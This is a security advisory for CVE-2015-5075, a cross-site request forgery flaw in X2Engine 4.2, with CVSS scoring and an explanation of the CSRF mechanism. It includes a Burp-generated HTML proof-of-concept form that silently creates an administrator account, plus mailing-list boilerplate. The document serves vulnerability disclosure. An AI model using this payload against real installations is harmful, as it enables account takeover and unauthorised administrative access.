X2Engine 4.2 Cross Site Request Forgery

2015.09.26
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Vulnerability title: Cross-Site Request Forgery In X2Engine Inc. X2Engine CVE: CVE-2015-5075 Vendor: X2Engine Inc. Product: X2Engine Affected version: 4.2 Fixed version: 5.2 Reported by: Simone Quatrini Details: It was discovered that no protection against Cross-site Request Forgery attacks was implemented, resulting in an attacker being able to able to force the creation of a new administrative account. Impact: Cross-site Request Forgery exploits the way in which HTTP and web browsers work. Due to the fact that HTTP is a stateless protocol, and that web browsers will include all relevant cookies for the domain that a request is for, if an administrator user was logged into the application and the attacker sent a link that the administrator duly followed (or the attacker tricked them into following a link on a page), the administrator’s browser would include all cookies (including the session cookies) in the request. The attacker’s link would then be executed with administrator privileges. This attack is not limited to sending malicious URLs to users; multiple different attack vectors exist to perform this attack in a more covert manner, such as embedding the attack within an invisible iFrame on a different page. Using the iFrame method it is also possible to submit both GET and POST requests. For example: <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://localhost/x2engine/index.php/users/create" method="POST"> <input type="hidden" name="User&#91;firstName&#93;" value="John" /> <input type="hidden" name="User&#91;lastName&#93;" value="Smith" /> <input type="hidden" name="User&#91;username&#93;" value="adm1n" /> <input type="hidden" name="User&#91;password&#93;" value="letmein" /> <input type="hidden" name="User&#91;userKey&#93;" value="" /> <input type="hidden" name="User&#91;title&#93;" value="" /> <input type="hidden" name="User&#91;department&#93;" value="" /> <input type="hidden" name="User&#91;officePhone&#93;" value="" /> <input type="hidden" name="User&#91;cellPhone&#93;" value="" /> <input type="hidden" name="User&#91;homePhone&#93;" value="" /> <input type="hidden" name="User&#91;address&#93;" value="" /> <input type="hidden" name="User&#91;backgroundInfo&#93;" value="" /> <input type="hidden" name="User&#91;emailAddress&#93;" value="" /> <input type="hidden" name="User&#91;status&#93;" value="1" /> <input type="hidden" name="yt0" value="Create" /> <input type="submit" value="Submit request" /> </form> </body> </html> Further details at: https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2015-5075/ Copyright: Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited. Disclaimer: The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. ############################################################### This email originates from the systems of Portcullis Computer Security Limited, a Private limited company, registered in England in accordance with the Companies Act under number 02763799. The registered office address of Portcullis Computer Security Limited is: Portcullis House, 2 Century Court, Tolpits Lane, Watford, United Kingdom, WD18 9RS. The information in this email is confidential and may be legally privileged. It is intended solely for the addressee. Any opinions expressed are those of the individual and do not represent the opinion of the organisation. Access to this email by persons other than the intended recipient is strictly prohibited. If you are not the intended recipient, any disclosure, copying, distribution or other action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. When addressed to our clients any opinions or advice contained in this email is subject to the terms and conditions expressed in the applicable Portcullis Computer Security Limited terms of business. ############################################################### ##################################################################################### This e-mail message has been scanned for Viruses and Content and cleared by MailMarshal. #####################################################################################

References:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2015-5075/


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